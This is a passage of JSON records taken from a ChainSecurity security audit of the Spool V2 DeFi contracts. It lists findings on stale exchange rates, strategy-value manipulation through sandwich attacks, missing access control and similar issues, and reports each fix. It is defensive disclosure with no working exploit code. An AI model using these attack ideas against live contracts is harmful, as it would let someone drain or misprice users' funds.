case, the following line in Strategy.doHardWork() relies on outdated data:\n\n```\nusdWorth[0] = _getUsdWorth(dhwParams.exchangeRates, dhwParams.priceFeedManager);\n```\nusdWorth[0] is then used to determine the number of shares minted for the depositors of this DHW\nepoch:\n\n```\nmintedShares = usdWorthDeposited * totalSupply() / usdWorth[0];\n```\nSince some interest is missing from this value, the depositors receive more shares than they are eligible\nfor, giving them instant gain.\n\n\nCode corrected:\n\n_getcTokenValue() now retrieves the current exchange rate instead of the stale one.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.13 Strategy Value Manipulation","body":"```\nSecurity Medium Version 1 Code Corrected\nCS-SpoolV2-043\n```\nSmartVaultManager.redeemFast() allows users to directly redeem their holdings on the underlying\nprotocols of the strategies in a vault. The function calls to Strategy.redeemFast() in which the\ntotalUsdValue of the respective strategy is updated.\n\nThis value can be manipulated in several ways:\n\n- If the given Chainlink oracle for one of the assets is not returning a correct value, the user can\n provide exchangeRateSlippages that would allow these false exchange rates to be used.\n- If the strategy's correct value calculation depends on slippage values to be non-manipulatable, the\n strategy's value can be changed with a sandwich attack as there is no possibility to enforce correct\n behavior (see, for example, Curve LP token value calculation can be manipulated). Furthermore, this\n sandwich attack is particularly easy to perform as the user is in control of the call that has to be\n sandwiched (i.e., all calls can be performed in one transaction).\n\nA manipulated strategy value is problematic for SmartVaultManager.reallocate() because the\ntotalUsdValue is used to compute how much value is moved/matched between strategies.\n\nNote: This issue was disclosed by the Spool team during the review process of this report.\n\nCode corrected:\n\nreallocate() now computes the value of strategies directly, rather than relying on totalUsdValue\n(which is now completely removed from the codebase),","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.14 Distribution to Ghost Strategy","body":"```\nCorrectness Low Version 4 Code Corrected\nCS-SpoolV2-040\n```\nDepositManager._distributeDepositSingleAsset assigns all dust to the first strategy in the\ngiven array. There are no checks present to ensure that this strategy is not the Ghost strategy.\n\nCode corrected:\n\nThe code has been adjusted to add dust to the first strategy with a deposit.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.15 Lack of Access Control for Setting Extra","body":"Rewards\n\n```\nCorrectness Low Version 3 Code Corrected\nCS-SpoolV2-041\n```\n\nsetExtraRewards() has no access control. However, an attacker could set the extra rewards to false\nfor a long time. Then, after their SV's first deposit to the strategy, could set it to true, so that they receive\nmore compounded yield than they should have received.\n\nCode corrected:\n\nThe code has been corrected.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.16 Wrong Error","body":"IdleStrategy.beforeRedeemalCheck()\n\n```\nCorrectness Low Version 3 Code Corrected\nCS-SpoolV2-028\n```\nThe range-check in IdleStrategy.beforeRedeemalCheck() reverts with the\nIdleBeforeDepositCheckFailed error. However, IdleBeforeRedeemalCheckFailed would be\nthe suiting error.\n\nCode corrected:\n\nThe correct error is used.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.17 Access Control Not Central to Access","body":"Control Contract\n\n```\nCorrectness Low Version 1 Specification Changed\nCS-SpoolV2-012\n```\nThe specification defines that access control should be centralized in SpoolAccessControl:\n\n```\nAll access control is handled centrally via SpoolAccessControl.sol.\n```\nHowever, the factory as an UpgradeableBeacon implements access control for changing\nimplementation which does not use the central access control contract.\n\nSpecification changed:\n\nThe documentation has been clarified:\n\n```\nAccess control is managed on three separate levels:\n```\n- All privileged access pertaining to usage of the platform is handled\nthrough SpoolAccessControl.sol, which is based on OpenZeppelin’s\nAccessControl smart contract\n- Core smart contracts upgradeability is controlled through\nOpenZeppelin’s ProxyAdmin.sol\n\n\n- SmartVault upgradeability is controlled using OpenZeppelin’s\nUpgradeableBeacon smart contract\n\nHence, the access control for upgrading the beacons is now accordingly documented.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.18 Asset Decimal in Price Feed","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-013\n```\nThe asset decimals are given as an input parameter in setAsset(). Although being cheaper than\ndirectly querying ERC20.decimals(), it is more prone to errors. Fetching the asset decimals through\nthe ERC20 interface could reduce such risks.\n\nCode corrected:\n\nERC20.decimals() is now called to fetch the underlying asset decimals.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.19 Bad Event Emissions","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-014\n```\nIn StrategyRegistry.redeemFast(), the StrategySharesFastRedeemed() is emitted. The\nassetsWithdrawn parameter of the event will be set to withdrawnAssets on every loop iteration.\nHowever, that does not correspond to the assets withdrawn from a strategy but corresponds to the\nassets withdrawn up to the strategy i.\n\nCode corrected:\n\nThe event takes now strategyWithdrawnAssets as a parameter.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.20 Broken Conditions on Whether Deposits","body":"Have Occurred\n\n```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-015\n```\nIn DepositManager.flushSmartVault(), the condition\n_vaultDeposits[smartVault][flushIndex][0] == 0 checks whether at least one wei of the\nfirst token in the asset group has been deposited. However, the condition may be imprecise as it could\ntechnically be possible to create deposits such that the deposit of the first asset could be zero while the\nothers are non-zero. A similar check is present in DepositManager.syncDepositsSimulate()\nduring deposit synchronization.\n\nNote that this would lead to deposits not being flushed and synchronized (ultimately ignoring them).\nWhile the user will receive no SVTs for very small deposits in general, the deposits here would be\ncompletely ignored. Further, this behavior becomes more problematic for rather large asset groups\n(given the checkDepositRatio() definition).\n\n\nCode corrected:\n\nThe checks have been improved to consider the summation of\n_vaultDeposits[smartVault][flushIndex] to all assets rather than only considering the first\nasset in the group.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.21 Deposit Deviation Can Be Higher Than","body":"Expected\n\n```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-016\n```\nThe deviation of deposits could be higher than expected due to the potentially exponential dropping\nrelation between the first and last assets. Note that the maximum deviation is the one from the minimum\nideal-to-deposit ratio to the maximum ideal-to-deposit ratio. Ultimately, given the current implementation,\nthis maximum deviation could be violated.\n\nCode corrected:\n\nThe following mechanism has been implemented. First, a reference asset is found with an ideal weight\nnon-zero (first one found). Then, other assets are compared to that asset. Ultimately, each ratio is in the\nrange of the reference asset.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.22 Inconsistent Handling of Funds on Strategy","body":"Removal\n\n```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-018\n```\nWhen a strategy is removed from the strategy registry, the unclaimed assets by SVs are sent to the\nemergency wallet. However, the funds flushed and unflushed underlying tokens are not (similarly the\nminted shares are not).\n\nCode corrected:\n\nConsistency was reevaluated. The corner case of an SV with non-flushed deposited assets was handled\nby introducing a recovery function, namely DepositManager.recoverPendingDeposits(). The\nother cases were specified as intended.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.23 Misleading Constant Name","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-019\n```\nIn SfrxEthHoldingStrategy the constant CURVE_ETH_POOL_SFRXETH_INDEX is used to determine\nthe coin ID in an ETH/frxETH Curve pool. Since the pool trades frxETH instead of sfrxETH, the naming of\nthe constant is misleading.\n\n\nCode corrected:\n\nSpool has changed CURVE_ETH_POOL_SFRXETH_INDEX to CURVE_ETH_POOL_FRXETH_INDEX.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.24 Missing Access Control in Swapper","body":"```\nSecurity Low Version 1 Code Corrected\nCS-SpoolV2-020\n```\nThe Swapper.swap() function can be called by anyone. If a user accidentally sends funds to the\nswapper or if it was called with a misconfigured SwapInfo struct, the remaining funds can be sent to an\narbitrary address by anyone.\n\nCode corrected:\n\nSpool has introduced a new function _isAllowedToSwap, which checks if the caller to\nSwapper.swap() holds ROLE_STRATEGY or ROLE_SWAPPER role. ROLE_SWAPPER must now\nadditionally be assigned to the DepositSwap contract.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.25 Missing Event Fields","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-021\n```\nThe events PoolRootAdded and PoolRootUpdated of IRewardPool do not include added root (and\nprevious root in the case of PoolRootUpdated).\n\nCode corrected:\n\nThe code has been adapted to include the added root.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.26 No Sanity Checks on Slippage Type","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-022\n```\nSome functions do not verify the value in slippages[0]. Some examples are:\n\n```\n1.IdleStrategy._emergencyWithdrawImpl does not check if slippages[0] == 3.\n2.IdleStrategy._compound does not check if slippages[0] < 2.\n```\nCode corrected:\n\nAll relevant functions now check that slippages[0] has the expected value and revert otherwise.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.27 Precision Loss in Notional Finance Strategy","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-023\n```\nNotionalFinanceStrategy._getNTokenValue() calculates the value of the strategy's nToken\nbalance in the following way:\n\n```\n(nTokenAmount * uint256(nToken.getPresentValueUnderlyingDenominated()) / nToken.totalSupply())\n* underlyingDecimalsMultiplier / NTOKEN_DECIMALS_MULTIPLIER;\n```\nnToken.getPresentValueUnderlyingDenominated() returns values similar or notably smaller\nthan nToken.totalSupply. On smaller amounts of nToken balances, precision is lost in this\ncalculation.\n\nCode corrected:\n\nThe implementation of _getNTokenValue() has been changed to the following:\n\n```\n(nTokenAmount * uint256(nToken.getPresentValueUnderlyingDenominated()) * _underlyingDecimalsMultiplier)\n/ nToken.totalSupply() / NTOKEN_DECIMALS_MULTIPLIER;\n```\nAll divisions are now performed after multiplications, ensuring that precision loss is kept to a minimum.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.28 Redemption Executor","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-025\n```\nRedemptions will enter WithdrawalManager._validateRedeem() that will run Withdrawal guards\nwith the redeemer as the executor. However, when called through\nSmartVaultManager.redeemFor() the actual executor is a user with\nROLE_SMART_VAULT_ALLOw_REDEEM. This address is neither sent through RedeemBag nor\nRedeemExtras. In this case, WithdrawalManager._validateRedeem() runs the guards with the\nexecutor being set as the redeemer.\n\nCode corrected:\n\nThe executor is now more accurately handled.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.29 State Inconsistencies Possible","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-042\n```\nSmartVaultManager.redeemFast() allows users to redeem their holdings directly from underlying\nprotocols. In contrast to StrategyRegistry.doHardWork(), users can set the slippages for\nwithdrawals themselves which could potentially lead to users setting slippages that do not benefit them.\n\nThis is problematic because the amount of shares actually redeemed in the underlying protocol is not\naccounted for. Since some protocols redeem on a best-effort basis, fewer shares may be redeemed than\nrequested (this is, for example, the case in the YearnV2Strategy). If this happens, and the user sets\nwrong slippages, the protocol burns all SVTs the user requested but does not redeem all the respective\n\n\nshares of the underlying protocol leading to an inconsistency that unexpectedly increases the value of the\nremaining SVTs.\n\nCode corrected:\n\nThe code for the Yearn V2 strategy has been adapted to check for full redeemals.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.30 Unused Functions","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-026\n```\nThe following functions of MasterWallet are not used:\n\n```\n1.approve\n2.resetApprove\n```\nCode corrected:\n\nThese functions have been removed.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.31 Unused Variable","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-044\n1.DepositSwap.swapAndDeposit() takes an input array of SwapInfo, which contains\namountIn. This function however takes an input array of inAmounts.\n2.The mapping DepositManager._flushShares is defined as internal and its subfield\nflushSvtSupply is never read.\n3.WithdrawalManager._priceFeedManager is set but never used.\n```\nCode corrected:\n\nThe code has been adapted to remove the unused variables.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.32 Validation of Specification","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-027\n```\nThe specification of an SV is validated to ensure that the SV works as the deployer would expect it.\nHowever, some checks could be missing. Examples of such potentially missing checks are:\n\n```\n1.Request type validation for actions: Only allow valid request types for action (some request types\nare not used for some actions).\n2.If static allocations are used, specifying a risk provider, a risk tolerance or an allocation provider\nmay not be meaningful as they are not stored. Similarly, if only one strategy is used it could be\nmeaningful to enforce a static allocation.\n```\n\n```\n3.Static allocations do not enforce the 100% rule that the allocation providers enforce. For\nconsistency, such a property could be enforced.\n```\nCode corrected:\n\nThe code has been adapted to enforce stronger properties on the specification.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.33 Distinct Array Lengths","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-029\n```\nSome arrays that are iterated over jointly can have distinct lengths which lead to potentially unused\nvalues and a result different from what was expected due to human error or a revert.\n\nExamples of a lack of array length checks in the specification when deploying an SV through the factory\nare:\n\n```\n1.actions and actionRequestTypes in ActionManager.setActions() may have distinct\nlength. Some request-type values may remain unused.\n```\n```\n2.Similarly, this holds for guards.\n3.In the strategy registry's doHardWork(), the base yields array could be longer than the strategies\narray.\n4.In assetToUsdCustomPriceBulk() the array lengths could differ. When used internally, that will\nnot be the case while when used externally that could be the case. The semantics of this are\nunclear.\n5.calculateDepositRatio() and calculateFlushFactors() in DepositManager are\nsimilar to 4.\n```\nCode corrected:\n\nThe missing checks in 1-3 have been added. However, for 4-5 which are view functions, Spool decided\nto keep as is.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.34 Errors in NatSpec","body":"```\nInformational Version 1 Specification Changed\nCS-SpoolV2-030\n```\nAt several locations, the NatSpec is incomplete or missing. The following is an incomplete list of\nexamples:\n\n```\n1.IGuardManager.RequestContext: not all members of the struct are documented.\n2.IGuardManager.GuardParamType: not all items of the enum are documented.\n```\n```\n3._stateAtDhw has no NatSpec.\n4.IDepositManager.SimulateDepositParams: documentation line of bag mentions\noldTotalSVTs along with flush index and lastDhwSyncedTimestamp.\n5.StrategyRegistry._dhwAssetRatios: is a mapping to the asset ratios, as the name\nsuggests; however, the spec mentions exchange rate.\n```\n\n```\n6.StrategyRegistry._updateDhwYieldAndApy(): it only updates APY and not the yield for a\ngiven dhwIndex and strategy.\n7.RewardManager.addToken(): callable only by either DEFAULT_ADMIN_ROLE or\nROLE_SMART_VAULT_ADMIN of an SV and not \"reward distributor\" as mentioned in the\nspecification.\n```\nSpecification changed:\n\nThe NatSpec was improved. Naming of StrategyRegistry._updateDhwYieldAndApy() was\nchanged to _updateApy().","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.35 Gas Optimizations","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-031\n```\nSome parts of the code could be optimized in terms of gas usage. Reducing gas costs may improve user\nexperience. Below is an incomplete list of potential gas inefficiencies:\n\n```\n1.claimSmartVaultTokens() could early quit if the claimed NFT IDs are claimed. Especially, that\nmay be relevant in cases in the redeem functions where a user can specify W-NFTs to be\nwithdrawn.\n2.The FlushShares struct has a member flushSvtSupply that is written when an SV is flushed.\nHowever, that value is never used and hence the storage write could be removed to reduce gas\nconsumption.\n3.swapAndDeposit() queries the token out amounts with balanceOf(). Swapper.swap()\nreturns the amounts. However, the return value is unused.\n4.RewardManager() inherits from ReentrancyGuardUpgradeable. It further is initializable,\ninitializing only the reentrancy guard state. However, reentrancy locks are not used.\n```\n```\n5.The constructor of SmartVaultFactory checks whether the implementation is 0x0. However, in\nUpgradeableBeacon an isContract() check is made.\n6.In redeemFast() the length of the NFT IDs and amounts is ensured to be equal. However, in\nDepositManager.claimSmartVaultTokens() the same check is made.\n7.In the internal function SmartVaultManager._redeem(), the public method\nflushSmartVault() is used. The _onlyRegisteredSmartVault() check will be performed\ntwice.\n8.IStrategy.doHardwork() could return the assetRatio() with the DHW info so that a\nstaticcall to IStrategy.assetRatio() in StrategyRegistry.doHardwork() is not needed.\n9.In _validateRedeem() the balance of the redeemer is checked. However, that check is made\nwhen the SVTs are transferred to the SV.\n10.The input argument vaultName_ in SmartVault.initialize can be defined as calldata.\n11.SmartVault.transferFromSpender() gets called only by WithdrawalManager with\nspender equal to from.\n12.SmartVault.burnNFT() checks that the owner has enough balance to burn. The same condition\nis later checked as it calls into _burnBatch.\n13.The struct SmartVaultSpecification in SmartVaultFactory has an inefficient ordering of\nelements. For example, by moving allowRedeemFor below allocationProvider its storage\nlayout decreases by one slot.\n```\n\n```\n14.The struct IGuardManager.GuardDefinition shows an inefficient ordering.\n15.Where ReallocationLib.doReallocation() computes sharesToRedeem, it can replace\ntotals[0] - totals[1] with totalUnmatchedWithdrawals.\n16.SmartVaultManager._simulateSync() increments the memory variable\nflushIndex.toSync which is neither used later nor returned as a return value.\n```\n```\n17.SmartVaultManager._redeem() calls flushSmartVault. However, the internal function\n_flushSmartVault could directly be called.\n18.SmartVaultManager._redeem() accesses the storage variable\n_flushIndexes[bag.smartVault] twice. It could be cached and reused once.\n19.StrategyRegistry.doHardWork() reads _assetsDeposited[strategy][dhwIndex][k]\ntwice. Similar to the issue above, it could be cached.\n20.UsdPriceFeedManager.assetToUsdCustomPriceBulk() could be defined as external.\n21.WithdrawalManager.claimWithdrawal() can be defined as an external function.\n22.RewardManager.forceRemoveReward() eventually removes\nrewardConfiguration[smartVault][token], which is already removed in\n_removeReward().\n23.RewardPool.claim() can simply set\nrewardsClaimed[msg.sender][data[i].smartVault][data[i].token] to\ndata[i].rewardsTotal.\n24.SmartVaultManager._simulateSyncWithBurn() can fetch fees after checking all DHWs\nare completed.\n25.Strategies are calling AssetGroupRegistry.listAssetGroup in multiple functions. The token\naddresses could instead be cached in the strategy the avoid additional external calls.\n26.REthHoldingStrategy._emergencyWithdrawImpl() reverts if slippages[0] != 3. This\ncheck can be accomplished at the very beginning of the function.\n```\n```\n27.REthHoldingStrategy._depositInternal() can have an early return if\namounts[0] < 0.01 ETH. It is mentioned in its documentations, that the smallest deposit value\nshould be 0.01 ETH\n28.The input parameter strategyName_ of SfrxEthHoldingStrategy.initialize() can be\ndefined as calldata.\n```\n```\n29.Strategy calls _swapAssets and then loads the balances of each token again. Since\n_swapAssets is not used in all of the strategies, the subsequent balanceOf calls by checking if\n_swapAssets actually performed any actions.\n```\nCode corrected:\n\nWhile not every improvement has been implemented, gas consumption has been reduced.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.36 NFT IDs","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-032\n```\nThe NFT IDs are in the following ranges:\n\n- D-NFTs: [1, 2**255 - 2]\n- W-NFTs: [2**255 + 1, 2**256 - 2]\n\n\nNote that the ranges could be technically increased. Further, in theory, there could be many more\nwithdrawals than deposits. The sizes do not reflect that. However, in practice, a scenario with such a\nlarge number of redemptions does not seen to be realistic. Additionally, getMetaData() will return\ndeposit meta data for ID 0 and 2**255 - 1. However, these are not valid deposit NFT IDs. Similarly,\nthe function returns metadata for invalid withdrawal NFTs. However, these remain empty. Last,\ntechnically one could input such IDs for burn (using 0 shares burn). Similarly, one could burn others'\nNFTs (0 amounts).\n\nUltimately, the effects of this may create confusion.\n\nCode corrected:\n\nThe range of valid NFT-IDs has been increased.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.37 Nameless ERC20","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-033\n```\nThe SVT ERC-20 does not have a name. Specifying a name may help third-party front-ends (e.g.\nEtherscan) to display useful information to users for a better user experience.\n\nCode corrected:\n\nThe SVT now has a name and symbol for its ERC-20. Additionally, the ERC-1155 has a URI now.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.38 Reverts Due to Management Fee","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-035\n```\nAn SV can have a management fee that is computed as\n\n```\ntotalUsd[1] * parameters.fees.managementFeePct * (result.dhwTimestamp - parameters.bag[1])\n/ SECONDS_IN_YEAR / FULL_PERCENT;\n```\nIt could be the case that more than one year has passed between the two timestamps. Ultimately the\ncondition\n\n```\nparameters.fees.managementFeePct * (result.dhwTimestamp - parameters.bag[1]) > SECONDS_IN_YEAR * FULL_PERCENT\n```\ncould hold if at least around 20 years have passed. That would make the fee greater than the total value.\n\nUltimately,\n\n```\nresult.feeSVTs = localVariables.svtSupply * fees / (totalUsd[1] - fees);\n```\ncould revert.\n\nCode corrected:\n\nThe code was corrected by limiting the dilution of SVTs so that the subtraction cannot revert.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.39 Simplifying Performance Fees","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-036\n```\nThe performance fees could further be simplified to\n\n```\nstrategyUSD * interimYieldPct / (1 + interimYieldPct * (1-totalPlatformFees))\n```\nwhich is equivalent to the rather complicated computations made in the current implementation.\n\nCode improved:\n\nThe readability of the code has been improved by simplifying the computation.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.40 Strategy Removal for an SV Possible That","body":"Does Not Use It\n\n```\nInformational Version 1 Code Corrected\nCS-SpoolV2-037\n```\nThe event StrategyRemovedFromVaults gets emitted for a strategy even if the SV does not use the\nstrategy.\n\nCode corrected:\n\nThe event is now emitted per vault that uses the strategy. Furthermore, the name of this event has been\nchanged to StrategyRemovedFromVault.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.41 Tokens Can Be Enabled Twice","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-038\n```\nIn AssetGroupRegistry, the same token can be allowed multiple times. Although it does not make\nany difference, regarding the internal state, it emits an event of TokenAllowed again.\n\nCode corrected:\n\nThe event is not emitted anymore in such cases.\n\n\n\nWe utilize this section to point out informational findings that are less severe than issues. These\ninformational issues allow us to point out more theoretical findings. Their explanation hopefully improves\nthe overall understanding of the project's security. Furthermore, we point out findings which are unrelated\nto security.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"7.1 Packed Arrays With Too Big Values Could","body":"DOS the Contract\n\n```\nInformational Version 1 Risk Accepted\nCS-SpoolV2-034\n```\nThe packed array libraries could technically DOS the system due to reverts on too high values. For\nstoring DHW indexes this is rather unlikely given the expectation that it will be only called every day 